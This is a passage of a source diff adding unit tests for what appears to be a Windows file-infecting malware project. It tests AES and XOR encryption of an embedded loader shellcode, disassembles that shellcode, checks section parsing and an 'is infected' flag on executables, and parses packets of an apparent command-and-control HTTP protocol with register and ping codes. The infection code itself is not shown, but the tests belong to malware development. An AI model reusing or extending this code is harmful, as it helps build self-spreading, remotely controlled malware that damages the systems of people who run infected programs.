+ ret = fprintf(stream, "%s", tmp);
+
+ va_end(va);
+ return ret;
+}
diff --git a/source/tests/test_aes.c b/source/tests/test_aes.c
new file mode 100644
index 0000000..1040378
--- /dev/null
+++ b/source/tests/test_aes.c
@@ -0,0 +1,100 @@
+#include "tests.h"
+
+#include "compat.h"
+#include "aes.h"
+#include "pe_infect.h"
+
+#include "aes_strings_gen.h"
+#include "loader_x86_crypt.h"
+_AESDATA_(ldrdata, LOADER_SHELLCODE);
+
+
+BOOL test_aes(void)
+{
+ ERRETCP(bInitCompat(LoadLibraryA(TEXT("KERNEL32.dll")), GetProcAddress) == TRUE);
+
+ unsigned char key[KEY_256];
+ memset(&key[0], '\0', sizeof(unsigned char)*KEY_256);
+ aes_randomkey(&key[0], KEY_256);
+
+ unsigned char ptext[16] = "Attack at dawn!";
+ unsigned char ctext[16];
+ unsigned char decptext[16];
+ aes_ctx_t* ctx;
+
+ memset(&ctext[0], '\0', sizeof(ctext));
+ memset(&decptext[0], '\0', sizeof(decptext));
+
+ aes_init();
+ ctx = aes_alloc_ctx(key, sizeof(key));
+ if(!ctx) {
+ return FALSE;
+ }
+ aes_encrypt(ctx, ptext, ctext);
+ aes_decrypt(ctx, ctext, decptext);
+ ERRETCP( strlen((char*)decptext) == strlen((char*)ptext) );
+ ERRETCP( strcmp((char*)decptext, (char*)ptext) == 0 );
+
+ unsigned char qtext[16] = "blah";
+ unsigned char dtext[16];
+ unsigned char decqtext[16];
+
+ memset(&dtext[0], '\0', sizeof(dtext));
+ memset(&decqtext[0], '\0', sizeof(decqtext));
+
+ aes_encrypt(ctx, qtext, dtext);
+ aes_decrypt(ctx, dtext, decqtext);
+ ERRETCP( strlen((char*)decqtext) == strlen((char*)qtext) );
+ ERRETCP( strcmp((char*)decqtext, (char*)qtext) == 0 );
+
+ {
+ char inbuf[] = "This is a short short short short short text, but bigger than 16 bytes ...";
+ char *outbuf = NULL;
+ char *chkbuf = NULL;
+ size_t len = 0;
+ outbuf = aes_crypt_s(ctx, inbuf, sizeof(inbuf), &len, TRUE);
+ size_t chklen = 0;
+ chkbuf = aes_crypt_s(ctx, outbuf, len, &chklen, FALSE);
+ ERRETCP( strlen(inbuf) == strlen(chkbuf) );
+ ERRETCP( strcmp(inbuf, chkbuf) == 0 );
+ COMPAT(free)(outbuf);
+ COMPAT(free)(chkbuf);
+ }
+
+ aes_free_ctx(ctx);
+
+ {
+ unsigned char newkey[] = "\x08\xEE\xD4\xBA\xA0\x86\x6C\x52\x38\x1E\x04\xEA\xD0\xB6\x9C\x82\x68\x4E\x34\x1A\x00\xE6\xCC\xB2\x98\x7E\x64\x4A\x30\x16\xFC\xE2";
+ char newbuf[] = "\x3F\x65\xF3\xEC\xF2\xFD\x4D\x1B\xFE\xF5\x12\xE9\x66\x0D\x83\xD3\x1D\xB5\x64\xC1\x9F\x6D\xD2\x51\x51\x64\x89\x22\x94\xBE\x63\x11\x9E\xD7\x7A\x10\x9D\xDF\x22\x57\xB8\xD2\x76\x7E\x4E\x71\x1B\xCB";
+ char chkbuf[] = "This is a somewhat stupid test dude ..";
+ ctx = aes_alloc_ctx(newkey, sizeof(newkey)-1);
+ char* outbuf = aes_crypt_s(ctx, newbuf, sizeof(newbuf)-1, NULL, FALSE);
+ ERRETCP( strlen(chkbuf) == strlen(outbuf) );
+ ERRETCP( strcmp(outbuf, chkbuf) == 0 );
+ aes_free_ctx(ctx);
+ COMPAT(free)(outbuf);
+ }
+
+ {
+ unsigned char newkey[] = "\x81\x88\x8F\x96\x9D\xA4\xAB\xB2\xB9\xC0\xC7\xCE\xD5\xDC\xE3\xEA\xF1\xF8\xFF\x06\x0D\x14\x1B\x22\x29\x30\x37\x3E\x45\x4C\x53\x5A";
+ char chkbuf[] = "This is a somewhat stupid test dude ..";
+ ctx = aes_alloc_ctx(newkey, sizeof(newkey)-1);
+ size_t len = 0, newlen = 0;
+ char* outbuf = aes_crypt_s(ctx, chkbuf, sizeof(chkbuf)-1, &len, TRUE);
+ char* decbuf = aes_crypt_s(ctx, outbuf, len, &newlen, FALSE);
+ ERRETCP( strlen(chkbuf) == strlen(decbuf) );
+ ERRETCP( strcmp(decbuf, chkbuf) == 0 );
+ ERRETCP( newlen == len );
+ aes_free_ctx(ctx);
+ COMPAT(free)(outbuf);
+ }
+
+ SIZE_T lsiz = 0;
+ BYTE* l = getLoader(&lsiz);
+ ERRETCP( l != NULL );
+ ERRETCP( lsiz > 0 );
+ COMPAT(free)(l);
+
+ aes_cleanup();
+ return TRUE;
+}
diff --git a/source/tests/test_asm.c b/source/tests/test_asm.c
new file mode 100644
index 0000000..8f49f8f
--- /dev/null
+++ b/source/tests/test_asm.c
@@ -0,0 +1,51 @@
+#include "tests.h"
+
+#include "compat.h"
+#include "loader_x86.h"
+#include "distorm/distorm.h"
+
+
+static volatile unsigned char loader_bin[] = LOADER_SHELLCODE;
+#define MAX_INSTRUCTIONS (1000)
+static volatile _DecodedInst decodedInstructions[MAX_INSTRUCTIONS];
+
+
+BOOL test_distorm(void)
+{
+ ERRETCP(bInitCompat(LoadLibraryA(TEXT("KERNEL32.dll")), GetProcAddress) == TRUE);
+
+ _DecodeType dt = Decode32Bits;
+ _DecodeResult res;
+ _OffsetType offset = 0;
+ unsigned char* buf = (unsigned char*)&loader_bin[0];
+ size_t size = sizeof(loader_bin)/sizeof(loader_bin[0]);
+ unsigned int decodedInstructionsCount = 0, i, next;
+
+ COMPAT(memset)((unsigned char*)&decodedInstructions[0], '\0', sizeof(_DecodedInst)*MAX_INSTRUCTIONS);
+ while (1) {
+ res = distorm_decode(offset, buf, size, dt, (_DecodedInst*)&decodedInstructions[0], MAX_INSTRUCTIONS, &decodedInstructionsCount);
+ if (res == DECRES_INPUTERR)
+ break;
+
+ ERRETCP(res == DECRES_SUCCESS);
+ ERRETCP(decodedInstructionsCount > 0);
+ for (i = 0; i < decodedInstructionsCount; i++) {
+ ERRETCPDW_NOLOG( decodedInstructions[i].offset < size, decodedInstructions[i].offset );
+ ERRETCPDW_NOLOG( decodedInstructions[i].size > 0, decodedInstructions[i].size );
+ ERRETCPDW_NOLOG( decodedInstructions[i].size < 15, decodedInstructions[i].size );
+ ERRETCP_NOLOG( strnlen( (const char*)(&decodedInstructions[i])->mnemonic.p, MAX_TEXT_SIZE ) > 0 );
+ }
+
+ if (res == DECRES_SUCCESS) break; // All instructions were decoded.
+ else if (decodedInstructionsCount == 0) break;
+
+ // Synchronize:
+ next = (unsigned int)(decodedInstructions[decodedInstructionsCount-1].offset - offset);
+ next += decodedInstructions[decodedInstructionsCount-1].size;
+ // Advance ptr and recalc offset.
+ buf += next;
+ size -= next;
+ offset += next;
+ }
+ return TRUE;
+}
diff --git a/source/tests/test_compat.c b/source/tests/test_compat.c
new file mode 100644
index 0000000..f760a6e
--- /dev/null
+++ b/source/tests/test_compat.c
@@ -0,0 +1,152 @@
+#include "tests.h"
+
+#include "compat.h"
+
+
+BOOL test_heap(void)
+{
+ ERRETCP(bInitCompat(LoadLibraryA(TEXT("KERNEL32.dll")), GetProcAddress) == TRUE);
+ UINT64* hAlloc = __xcalloc(128, sizeof(UINT64));
+ ERRETCP(hAlloc != NULL);
+ memset(hAlloc, 'A', sizeof(UINT64)*128);
+ *(char*)((BYTE*)(hAlloc) + (sizeof(UINT64)*128)-1) = '\0';
+ ERRETCP( strlen((char*)hAlloc) == (sizeof(UINT64)*128)-1 );
+ __xfree(hAlloc);
+
+ BYTE* bAlloc = __xcalloc(BUFSIZ, sizeof(UINT64));
+ ERRETCP(bAlloc != NULL);
+ memset(bAlloc, 'A', sizeof(UINT64)*BUFSIZ);
+ *(char*)((BYTE*)(bAlloc) + (sizeof(UINT64)*BUFSIZ)-1) = '\0';
+ ERRETCP( strlen((char*)bAlloc) == (sizeof(UINT64)*BUFSIZ)-1 );
+ __xfree(bAlloc);
+
+ return TRUE;
+}
+
+BOOL test_mem(void)
+{
+ const size_t siz = 128;
+ char buf[65];
+
+ memset(buf, 'A', 64);
+ *(buf+64) = '\0';
+
+ ERRETCP(bInitCompat(LoadLibraryA(TEXT("KERNEL32.dll")), GetProcAddress) == TRUE);
+ char* hAllocOrg = calloc(siz+1, sizeof(char));
+ LPSTR hAlloc = __xcalloc(siz+1, sizeof(LPSTR));
+ ERRETCP(hAlloc != NULL && hAllocOrg != NULL);
+
+ /* memset */
+ ERRETCP(memset(hAllocOrg, 'A', siz) != NULL);
+ ERRETCP(strlen(hAllocOrg) == siz);
+ ERRETCP(__xmemset(hAlloc, 'A', siz) != NULL);
+ ERRETCP(strlen(hAlloc) == siz);
+ /* memcpy */
+ ERRETCP(memcpy(hAllocOrg, (const void*)buf, sizeof(buf)) != NULL);
+ ERRETCP(strlen(hAllocOrg) == sizeof(buf)-1);
+ ERRETCP(__xmemcpy(hAlloc, (LPCVOID)buf, sizeof(buf)) != NULL);
+ ERRETCP(strlen(hAlloc) == sizeof(buf)-1);
+ /* memmove */
+ ERRETCP( memset (hAllocOrg+ 8, 'B', 8) != NULL );
+ ERRETCP( memmove (hAllocOrg+16, hAllocOrg+4, 8) == (hAllocOrg+16) );
+ ERRETCP( memset (hAllocOrg+ 8, 'A', 8) != NULL );
+ ERRETCP( strstr (hAllocOrg, "BBBB") != NULL );
+ ERRETCP( __xmemset (hAlloc + 8, 'B', 8) != NULL );
+ ERRETCP( __xmemmove(hAlloc +16, hAlloc+4, 8) == (hAlloc+16) );
+ ERRETCP( __xmemset (hAlloc + 8, 'A', 8) != NULL );
+ ERRETCP( strstr (hAlloc, "BBBB") != NULL );
+
+ __xfree(hAlloc);
+ free(hAllocOrg);
+ return TRUE;
+}
+
+BOOL test_stdio(void)
+{
+ const char buf1[] = "AAAABBBBAAAACCCC*";
+ const size_t len1 = strlen(buf1);
+
+ ERRETCP(bInitCompat(LoadLibraryA(TEXT("KERNEL32.dll")), GetProcAddress) == TRUE);
+ ERRETCP( strcmp("BBBB", buf1) == __xstrcmp("BBBB", buf1) );
+ ERRETCP( strcmp("DDDD", buf1) == __xstrcmp("DDDD", buf1) );
+ ERRETCP( strcmp(buf1, "BBBB") == __xstrcmp(buf1, "BBBB") );
+ ERRETCP( strcmp(buf1, "DDDD") == __xstrcmp(buf1, "DDDD") );
+
+ ERRETCP( strncmp("BBBB", buf1, len1) == __xstrncmp("BBBB", buf1, len1) );
+ ERRETCP( strncmp("DDDD", buf1, len1) >= __xstrncmp("DDDD", buf1, len1) );
+ ERRETCP( strncmp(buf1, "BBBB", len1) == __xstrncmp(buf1, "BBBB", len1) );
+ ERRETCP( strncmp(buf1, "DDDD", len1) <= __xstrncmp(buf1, "DDDD", len1) );
+
+ ERRETCP( __xstrnicmp("BBBB", buf1, len1) != 0 );
+ ERRETCP( __xstrnicmp("bbbb", buf1, len1) != 0 );
+ ERRETCP( __xstrnicmp("dddd", buf1, len1) != 0 );
+ ERRETCP( __xstrnicmp("DDDD", buf1, len1) != 0 );
+ ERRETCP( __xstrnicmp("AAAA", buf1, len1) == 0 );
+ ERRETCP( __xstrnicmp("aaaa", buf1, len1) == 0 );
+
+ ERRETCP( strlen(buf1) == __xstrlen(buf1) );
+ ERRETCP( strnlen(buf1, 0xFF) == __xstrnlen(buf1, 0xFF) );
+ ERRETCP( strnlen(buf1, 8) == __xstrnlen(buf1, 8) );
+
+ char *tmp = COMPAT(strdup)(buf1);
+ ERRETCP( strlen(buf1) == strlen(tmp) );
+ ERRETCP( __xstrlen(buf1) == __xstrlen(tmp) );
+
+ ERRETCP( strchr(buf1, '*') == __xstrchr(buf1, '*') );
+ ERRETCP( strchr(buf1, '$') == __xstrchr(buf1, '$') );
+ COMPAT(free)(tmp);
+
+ char *buf2 = COMPAT(calloc)(128, sizeof(char*));
+ char buf3[] = "AAAA";
+ COMPAT(strcat)(buf2, buf3);
+ size_t len = strlen(buf2);
+ ERRETCP( len == strlen(buf3) );
+ ERRETCP( len+4 == strlen(__xstrcat(buf2, "BBBB")) );
+ ERRETCP( len+4 == strlen(__xstrcat(buf2, "")) );
+ ERRETCP( len+4 == strlen(__xstrcat(buf2, "\0\0\0\0")) );
+ ERRETCP( len+12 == strlen(__xstrcat(buf2, "CCCCCCCC")) );
+ COMPAT(free)(buf2);
+
+ char* buf4 = COMPAT(calloc)(PRINT_BUFSIZ, sizeof(char));
+ char* buf5 = COMPAT(calloc)(PRINT_BUFSIZ, sizeof(char));
+ int ret = COMPAT(snprintf)(buf4, PRINT_BUFSIZ, "---%d,%u---\n", 22, (UINT32)-1);
+ snprintf(buf5, PRINT_BUFSIZ, "---%d,%u---\n", 22, (UINT32)-1);
+ ERRETCP( ret > 0 && ret < PRINT_BUFSIZ );
+ ERRETCP( strncmp(buf4, buf5, PRINT_BUFSIZ) == 0);
+ COMPAT(free)(buf4);
+ COMPAT(free)(buf5);
+
+ buf4 = COMPAT(calloc)(PRINT_BUFSIZ, sizeof(char));
+ buf5 = COMPAT(calloc)(PRINT_BUFSIZ, sizeof(char));
+ ret = COMPAT(snprintf)(buf4, PRINT_BUFSIZ, "---%d,%u,%d,%d,%c,%p,%p---\n", 22, (UINT32)-1, (INT32)-1, INT_MIN, 'Z', (void*)0xAABBCCFF, (void*)NULL);
+ snprintf(buf5, PRINT_BUFSIZ, "---%d,%u,%d,%d,%c,%p,%p---\n", 22, (UINT32)-1, (INT32)-1, INT_MIN, 'Z', (void*)0xAABBCCFF, (void*)NULL);
+ ERRETCP( ret > 0 && ret < PRINT_BUFSIZ );
+ ERRETCP( strncmp(buf4, buf5, PRINT_BUFSIZ) == 0);
+ COMPAT(free)(buf4);
+ COMPAT(free)(buf5);
+
+ buf4 = COMPAT(calloc)(PRINT_BUFSIZ, sizeof(char));
+ buf5 = COMPAT(calloc)(PRINT_BUFSIZ, sizeof(char));
+ ret = COMPAT(snprintf)(buf4, PRINT_BUFSIZ, "---%p,%p,%X,%X---\n", 0x12345678, &buf2, 0x1234, 0x66667777);
+ snprintf(buf5, PRINT_BUFSIZ, "---%p,%p,%X,%X---\n", (void*)0x12345678, &buf2, 0x1234, 0x66667777);
+ ERRETCP( ret > 0 && ret < PRINT_BUFSIZ );
+ ERRETCP( strcmp(buf4, buf5) == 0);
+ COMPAT(free)(buf4);
+ COMPAT(free)(buf5);
+
+ char* randstr = test_randstring(65535);
+ buf5 = COMPAT(calloc)(strlen(randstr)+1, sizeof(char));
+ COMPAT(snprintf)(buf5, strlen(randstr)+1, "%s", randstr);
+ ERRETCP( strlen(randstr) == strlen(buf5) );
+ ERRETCP( strcmp(randstr, buf5) == 0 );
+ COMPAT(free)(buf5);
+
+ LPCSTR aStr = TEXT("This is a simple ANSI string if _UNICODE is not defined.");
+ int wLen = 0;
+ LPWSTR wStr = COMPAT(toWideChar)(aStr, strlen(aStr), &wLen);
+ ERRETCP( wLen > 0 );
+ ERRETCP( wStr != NULL );
+ COMPAT(free)(wStr);
+
+ return TRUE;
+}
diff --git a/source/tests/test_crypt.c b/source/tests/test_crypt.c
new file mode 100644
index 0000000..a2ebd49
--- /dev/null
+++ b/source/tests/test_crypt.c
@@ -0,0 +1,44 @@
+#include "tests.h"
+
+#include "utils.h"
+#include "crypt.h"
+
+
+#define MIN_BUFSIZ 8192
+#define MAX_BUFSIZ 65536
+
+
+BOOL test_crypt(void)
+{
+ uint32_t key[8], iv[8];
+ size_t ivkeysize = 0, maxsiz = 0;
+
+ maxsiz = MIN_BUFSIZ + (__rdtsc() % (MAX_BUFSIZ-MIN_BUFSIZ+1));
+ ivkeysize = 1 + (__rdtsc() % (sizeof(key)/sizeof(key[0])));
+
+ char* randstr = test_randstring(maxsiz);
+ ERRETCP( randstr != NULL );
+ size_t randlen = strlen(randstr);
+ ERRETCP( maxsiz == randlen );
+ ERRETCP( randlen >= MIN_BUFSIZ && MAX_BUFSIZ >= randlen );
+
+ for (size_t i = 0; i < ivkeysize; ++i) {
+ while(key[i] == 0) key[i] = xor32_randomkey();
+ while(iv[i] == 0) iv[i] = xor32_randomkey();
+ }
+
+ size_t encsiz = maxsiz + (ivkeysize*sizeof(key[0]));
+ char* encBuf = calloc(encsiz, sizeof(char));
+ for (size_t i = 0; i < encsiz; ++i)
+ ERRETCPDW_NOLOG( *(encBuf + i) == 0x0, *(encBuf + i) );
+ memcpy(encBuf, randstr, randlen);
+ size_t newsiz = xor32n_pcbc_crypt_buf((uint32_t*)encBuf, maxsiz, &iv[0], &key[0], ivkeysize);
+ ERRETCP( memcmp(encBuf, randstr, maxsiz) != 0 );
+ size_t oldsiz = xor32n_pcbc_crypt_buf((uint32_t*)encBuf, newsiz, &iv[0], &key[0], ivkeysize);
+ ERRETCP( oldsiz == newsiz );
+ ERRETCP( memcmp(encBuf, randstr, maxsiz) == 0 );
+ free(encBuf);
+
+ COMPAT(free)(randstr);
+ return TRUE;
+}
diff --git a/source/tests/test_http.c b/source/tests/test_http.c
new file mode 100644
index 0000000..e4882a4
--- /dev/null
+++ b/source/tests/test_http.c
@@ -0,0 +1,279 @@
+#include <unistd.h>
+#include <time.h>
+
+#include "tests.h"
+
+#include "http.h"
+#include "math.h"
+#include "utils.h"
+
+
+BOOL addPkg(SIZE_T sizA, SIZE_T sizB, struct http_resp* hresp, rrbuff* dst_buf, rrsize* dst_siz)
+{
+ ERRETCP( dst_buf != NULL && dst_siz != NULL && hresp != NULL );
+
+ rrsize new_siz = *dst_siz + sizA + sizeof(*hresp) + sizB;
+ *dst_buf = realloc(*dst_buf, new_siz*sizeof(**dst_buf));
+
+ rrbuff new_buf = *dst_buf + *dst_siz;
+ memset(new_buf, 'A', sizA);
+ memcpy(new_buf + sizA, hresp, sizeof(*hresp));
+ memset(new_buf + sizA + sizeof(*hresp), 'B', sizB);
+
+ *dst_siz = new_siz;
+ return TRUE;
+}
+
+#define PARSE_RESPONSE_CLEANUP(pkgbuf, pkgsiz, pkg_count, hresp) \
+ if (pkgbuf != NULL) free(pkgbuf); \
+ pkgbuf = NULL; \
+ pkgsiz = 0; \
+ pkg_count = 0; \
+ memset(&hresp, 0, sizeof(hresp)); \
+ memset(&hresp.startMarker[0], 'c', MARKER_SIZ);
+
+BOOL test_http(void)
+{
+ DWORD init_ret = ERR_HTTP_PRE;
+ ERRETCPDW( (init_ret = initHttp(LoadLibraryA, GetProcAddress)) == ERR_HTTP_OK, init_ret );
+
+ uint64_t sizA = __rdtsc() % 256;
+ uint64_t sizB = __rdtsc() % 512;
+ struct http_resp hresp = { {0}, 0, 0, 0 };
+ rrbuff pkgbuf = NULL;
+ rrsize pkgsiz = 0;
+ DWORD pkg_count = 0;
+
+ PARSE_RESPONSE_CLEANUP(pkgbuf, pkgsiz, pkg_count, hresp);
+
+ {
+ hresp.respCode = RC_REGISTER;
+ ERRETCP( addPkg(sizA, sizB, &hresp, &pkgbuf, &pkgsiz) == TRUE );
+ ERRETCP( addPkg(sizA, sizB, &hresp, &pkgbuf, &pkgsiz) == TRUE );
+ hresp.respCode = RC_PING;
+ ERRETCP( addPkg(sizA, sizB, &hresp, &pkgbuf, &pkgsiz) == TRUE );
+ pkg_count = 3;
+ }
+
+ {
+ int ret;
+ struct http_resp* tmp_hresp = NULL;
+ size_t pkgoff = 0;
+ while ((ret = parseResponse(pkgbuf, pkgsiz, &tmp_hresp, &pkgoff, &hresp.startMarker[0])) == RSP_OK ) {
+ ERRETCP( tmp_hresp != NULL );
+ pkg_count--;
+ }
+ if (pkg_count != 0)
+ ERRPRINT_BOTH("Last parseResponse returned: %d", ret);
+ ERRETCPLD( pkg_count == 0, pkg_count );
+ }
+
+ PARSE_RESPONSE_CLEANUP(pkgbuf, pkgsiz, pkg_count, hresp);
+
+ {
+ rflags all_flags[] = RF_ALL;
+ rrcode all_codes[] = RC_ALL;
+ for (DWORD i = 0; i < SIZEOF(all_codes); ++i) {
+ for (DWORD j = 0; j < SIZEOF(all_flags); ++j) {
+ hresp.respFlags = all_flags[j];
+ hresp.respCode = all_codes[i];
+ ERRETCP( addPkg(sizA, sizB, &hresp, &pkgbuf, &pkgsiz) == TRUE );
+ pkg_count++;
+ }
+ }
+ int ret;
+ struct http_resp* tmp_hresp = NULL;
+ size_t pkgoff = 0;
+ while ((ret = parseResponse(pkgbuf, pkgsiz, &tmp_hresp, &pkgoff, &hresp.startMarker[0])) == RSP_OK ) {
+ ERRETCP( tmp_hresp != NULL );
+ pkg_count--;
+ }
+ if (pkg_count != 0)
+ ERRPRINT_BOTH("Last parseResponse returned: %d", ret);
+ ERRETCPLD( pkg_count == 0, pkg_count );
+ }
+
+ PARSE_RESPONSE_CLEANUP(pkgbuf, pkgsiz, pkg_count, hresp);
+
+ {
+ DWORD maxPkgs = 64;
+ for (DWORD i = 0; i < maxPkgs; ++i) {
+ hresp.respCode = RC_PING;
+ ERRETCP( addPkg(sizA, sizB, &hresp, &pkgbuf, &pkgsiz) == TRUE );
+ pkg_count++;
+ }
+ ERRETCPLD( pkg_count == maxPkgs, pkg_count );
+ }
+
+ PARSE_RESPONSE_CLEANUP(pkgbuf, pkgsiz, pkg_count, hresp);
+
+ {
+ int abs_count = 0;
+ rrcode all_codes[] = RC_ALL;
+ DWORD maxPkgs = 64;
+ DWORD validPkgs = 0;
+ for (DWORD i = 0; i < maxPkgs; ++i) {
+ rrcode rc;
+ int rnd;
+ while ((rnd = __rdtsc()) == 0) {}
+ if (rnd % 2 == 0)
+ rc = all_codes[ __rdtsc() % SIZEOF(all_codes) ];
+ else
+ rc = (rrcode)__rdtsc();
+ for (DWORD j = 0; j < SIZEOF(all_codes); ++j) {
+ if (all_codes[j] == rc) {
+ pkg_count++;
+ validPkgs++;
+ break;
+ }
+ }
+ abs_count++;
+ hresp.respCode = rc;
+ ERRETCP( addPkg(0, 0, &hresp, &pkgbuf, &pkgsiz) == TRUE );
+ }
+ int ret;
+ struct http_resp* tmp_hresp = NULL;
+ size_t pkgoff = 0;
+ while (abs_count > 0) {
+ if ((ret = parseResponse(pkgbuf, pkgsiz, &tmp_hresp, &pkgoff, &hresp.startMarker[0])) == RSP_OK) {
+ pkg_count--;
+ }
+ abs_count--;
+ }
+ if (pkg_count != 0)
+ ERRPRINT_BOTH("Last parseResponse returned: %d (validPkgs/maxPkgs: %lu/%lu)", ret, validPkgs, maxPkgs);
+ ERRETCPLD( abs_count == 0, abs_count );
+ ERRETCPLD( pkg_count == 0, pkg_count );
+ }
+
+ PARSE_RESPONSE_CLEANUP(pkgbuf, pkgsiz, pkg_count, hresp);
+
+ {
+ DWORD maxPkgs = 64;
+ for (DWORD i = 0; i < maxPkgs; ++i) {
+ hresp.respCode = RC_PING;
+ ERRETCP( addPkg(0, 0, &hresp, &pkgbuf, &pkgsiz) == TRUE );
+ pkg_count++;
+ }
+ int ret;
+ struct http_resp* tmp_hresp = NULL;
+ size_t pkgoff = 0;
+ while ((ret = parseResponse(pkgbuf, pkgsiz, &tmp_hresp, &pkgoff, &hresp.startMarker[0])) == RSP_OK) {
+ pkg_count--;
+ }
+ if (pkg_count != 0)
+ ERRPRINT_BOTH("Last parseResponse returned: %d (maxPkgs: %lu)", ret, maxPkgs);
+ ERRETCPLD( pkg_count == 0, pkg_count );
+ }
+
+ PARSE_RESPONSE_CLEANUP(pkgbuf, pkgsiz, pkg_count, hresp);
+
+ {
+ hresp.respCode = RC_PING;
+ ERRETCP( addRequest(&pkgbuf, &pkgsiz, &hresp) == RSP_OK );
+ int ret = -1;
+ struct http_resp* tmp_hresp = NULL;
+ size_t pkgoff = 0;
+ ERRETCPLD( (ret = parseResponse(pkgbuf, pkgsiz, &tmp_hresp, &pkgoff, &hresp.startMarker[0])) == RSP_OK, ret );
+ }
+ PARSE_RESPONSE_CLEANUP(pkgbuf, pkgsiz, pkg_count, hresp);
+ {
+ hresp.respCode = 0;
+ ERRETCP( addRequest(&pkgbuf, &pkgsiz, &hresp) == RSP_OK );
+ int ret = -1;
+ struct http_resp* tmp_hresp = NULL;
+ size_t pkgoff = 0;
+ ERRETCPLD( (ret = parseResponse(pkgbuf, pkgsiz, &tmp_hresp, &pkgoff, &hresp.startMarker[0])) != RSP_OK, ret );
+ }
+ PARSE_RESPONSE_CLEANUP(pkgbuf, pkgsiz, pkg_count, hresp);
+
+ {
+ int abs_count = 0;
+ rrcode all_codes[] = RC_ALL;
+ DWORD maxPkgs = 64;
+ DWORD validPkgs = 0;
+ for (DWORD i = 0; i < maxPkgs; ++i) {
+ rrcode rc;
+ int rnd;
+ while ((rnd = __rdtsc()) == 0) {}
+ if (rnd % 2 == 0)
+ rc = all_codes[ __rdtsc() % SIZEOF(all_codes) ];
+ else
+ rc = (rrcode)__rdtsc();
+ for (DWORD j = 0; j < SIZEOF(all_codes); ++j) {
+ if (all_codes[j] == rc) {
+ pkg_count++;
+ validPkgs++;
+ break;
+ }
+ }
+ abs_count++;
+ hresp.respCode = rc;
+ ERRETCP( addRequest(&pkgbuf, &pkgsiz, &hresp) == RSP_OK );
+ }
+ int ret;
+ struct http_resp* tmp_hresp = NULL;
+ size_t pkgoff = 0;
+ while (abs_count > 0) {
+ if ((ret = parseResponse(pkgbuf, pkgsiz, &tmp_hresp, &pkgoff, &hresp.startMarker[0])) == RSP_OK) {
+ pkg_count--;
+ }
+ abs_count--;
+ }
+ if (pkg_count != 0)
+ ERRPRINT_BOTH("Last parseResponse returned: %d (validPkgs/maxPkgs: %lu/%lu)", ret, validPkgs, maxPkgs);
+ ERRETCPLD( abs_count == 0, abs_count );
+ ERRETCPLD( pkg_count == 0, pkg_count );
+ }
+
+ PARSE_RESPONSE_CLEANUP(pkgbuf, pkgsiz, pkg_count, hresp);
+
+ {
+ int abs_count = 0;
+ rrcode all_codes[] = RC_ALL;
+ DWORD maxPkgs = 64;
+ DWORD validPkgs = 0;
+ for (DWORD i = 0; i < maxPkgs; ++i) {
+ rrcode rc;
+ int rnd;
+ while ((rnd = __rdtsc()) == 0) {}
+ if (rnd % 2 == 0)
+ rc = all_codes[ __rdtsc() % SIZEOF(all_codes) ];
+ else
+ rc = (rrcode)__rdtsc();
+ for (DWORD j = 0; j < SIZEOF(all_codes); ++j) {
+ if (all_codes[j] == rc) {
+ pkg_count++;
+ validPkgs++;
+ break;
+ }
+ }
+ abs_count++;
+
+ rrsize psiz = __rdtsc() % 512;
+ struct http_resp* nresp = calloc(sizeof(*nresp) + pkgsiz, 1);
+ memcpy(&nresp->startMarker[0], &hresp.startMarker[0], MARKER_SIZ);
+ nresp->pkgsiz = psiz;
+ nresp->respCode = rc;
+ ERRETCP( addRequest(&pkgbuf, &pkgsiz, nresp) == RSP_OK );
+ free(nresp);
+ }
+
+ int ret;
+ struct http_resp* tmp_hresp = NULL;
+ size_t pkgoff = 0;
+ while (abs_count > 0) {
+ if ((ret = parseResponse(pkgbuf, pkgsiz, &tmp_hresp, &pkgoff, &hresp.startMarker[0])) == RSP_OK) {
+ pkg_count--;
+ }
+ abs_count--;
+ }
+ if (pkg_count != 0)
+ ERRPRINT_BOTH("Last parseResponse returned: %d (validPkgs/maxPkgs: %lu/%lu)", ret, validPkgs, maxPkgs);
+ ERRETCPLD( abs_count == 0, abs_count );
+ ERRETCPLD( pkg_count == 0, pkg_count );
+ }
+
+ PARSE_RESPONSE_CLEANUP(pkgbuf, pkgsiz, pkg_count, hresp);
+ return TRUE;
+}
diff --git a/source/tests/test_mem.c b/source/tests/test_mem.c
new file mode 100644
index 0000000..b16012e
--- /dev/null
+++ b/source/tests/test_mem.c
@@ -0,0 +1,17 @@
+#include "tests.h"
+
+#include "utils.h"
+
+
+BOOL test_memalign(void)
+{
+ DWORD addr = 0x41414141;
+ DWORD size = 512;
+ DWORD algn = 512;
+
+ ERRETCP( XMemAlign(size, algn, addr) == addr+size );
+ size++;
+ ERRETCP( XMemAlign(size, algn, 0) == 1024 );
+ ERRETCP( XMemAlign(size, algn, addr) == addr+1024 );
+ return TRUE;
+}
diff --git a/source/tests/test_pe.c b/source/tests/test_pe.c
new file mode 100644
index 0000000..bd77fce
--- /dev/null
+++ b/source/tests/test_pe.c
@@ -0,0 +1,66 @@
+#include "tests.h"
+
+#include "utils.h"
+#include "file.h"
+#include "pe_infect.h"
+#include "patch.h"
+#include "xor_strings.h"
+
+
+BOOL test_pe(char* filename)
+{
+ HANDLE hFile;
+ BYTE* buf;
+ SIZE_T szBuf;
+ struct ParsedPE ppe;
+
+ memset(&ppe, '\0', sizeof(struct ParsedPE));
+ ERRETCP( bOpenFile(filename, 0, &hFile) == TRUE );
+ ERRETCP( bFileToBuf(hFile, &buf, &szBuf) == TRUE );
+ ERRETCP( bParsePE(buf, szBuf, &ppe, FALSE) == TRUE );
+ ERRETCP( ppe.valid == TRUE );
+ ERRETCP( bIsInfected(&ppe) == FALSE );
+ ERRETCP( pGetSegmentAdr(".text", TRUE, &ppe, NULL) != NULL );
+ ERRETCP( pGetSegmentAdr(".data", TRUE, &ppe, NULL) != NULL );
+ ERRETCP( pGetSegmentAdr(".rdata", TRUE, &ppe, NULL) != NULL );
+ ERRETCP( pGetSegmentAdr(".idata", TRUE, &ppe, NULL) != NULL );
+ ERRETCP( pGetSegmentAdr(".CRT", TRUE, &ppe, NULL) != NULL );
+ ERRETCP( pGetSegmentAdr(LDRSECTION, TRUE, &ppe, NULL) == NULL );
+ ERRETCP( pGetSegmentAdr(DLLSECTION, TRUE, &ppe, NULL) == NULL );
+ ERRETCP( PtrToRva(&ppe, pGetSegmentAdr(".text", TRUE, &ppe, NULL)) != (DWORD)-1 );
+ ERRETCP( PtrToRva(&ppe, pGetSegmentAdr(".text", TRUE, &ppe, NULL)) > (DWORD)ppe.hdrOptional->ImageBase );
+ ERRETCP( OffsetToRva(&ppe, PtrToOffset(&ppe, pGetSegmentAdr(".text", TRUE, &ppe, NULL))) <
